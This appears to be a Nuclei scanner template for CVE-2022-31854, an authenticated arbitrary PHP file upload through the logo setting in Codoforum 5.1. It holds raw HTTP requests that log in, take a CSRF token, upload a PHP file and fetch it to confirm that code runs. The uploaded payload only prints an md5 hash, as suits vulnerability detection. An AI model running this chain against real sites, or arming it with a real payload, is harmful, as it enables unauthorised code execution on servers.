Codoforum 5.1 - Arbitrary File Upload

id: CVE-2022-31854

info:
  name: Codoforum 5.1 - Arbitrary File Upload
  author: theamanrawat
  severity: high
  description: |
    Codoforum 5.1 contains an arbitrary file upload vulnerability via the logo change option in the admin panel. An attacker can upload arbitrary files to the server, which in turn can be used to make the application execute file content as code. As a result, an attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability can result in unauthorized remote code execution on the affected system.
  remediation: |
    Apply the latest security patch or upgrade to a patched version of Codoforum.
  reference:
    - https://bitbucket.org/evnix/codoforum_downloads/downloads/codoforum.v.5.1.zip
    - https://codoforum.com
    - https://vikaran101.medium.com/codoforum-v5-1-authenticated-rce-my-first-cve-f49e19b8bc
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31854
    - https://github.com/trhacknon/Pocingit
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2022-31854
    cwe-id: CWE-434
    epss-score: 0.32483
    epss-percentile: 0.98348
    cpe: cpe:2.3:a:codologic:codoforum:5.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: codologic
    product: codoforum
  tags: cve,cve2022,rce,codoforumrce,authenticated,intrusive,codologic,vuln

http:
  - raw:
      - |
        POST /admin/?page=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryACGPpj7UIqmtLNbB

        ------WebKitFormBoundaryACGPpj7UIqmtLNbB
        Content-Disposition: form-data; name="username"

        {{username}}
        ------WebKitFormBoundaryACGPpj7UIqmtLNbB
        Content-Disposition: form-data; name="password"

        {{password}}
        ------WebKitFormBoundaryACGPpj7UIqmtLNbB--
      - |
        GET /admin/index.php?page=config HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /admin/index.php?page=config HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoLtdjuqj2ixPvBhA

        ------WebKitFormBoundaryoLtdjuqj2ixPvBhA
        Content-Disposition: form-data; name="site_title"


        ------WebKitFormBoundaryoLtdjuqj2ixPvBhA
        Content-Disposition: form-data; name="forum_logo"; filename="{{randstr}}.php"
        Content-Type:  application/x-httpd-php

        <?php

        echo md5('CVE-2022-31854');

        ?>
        ------WebKitFormBoundaryoLtdjuqj2ixPvBhA
        Content-Disposition: form-data; name="CSRF_token"

        {{csrf}}
        ------WebKitFormBoundaryoLtdjuqj2ixPvBhA--
      - |
        GET /sites/default/assets/img/attachments/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code_4 == 200
          - contains(content_type_4, "text/html")
          - contains(body_4, "a63fd49130de6406a66600cd8caa162f")
        condition: and

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - name="CSRF_token" value="([0-9a-zA-Z]+)"/>
        internal: true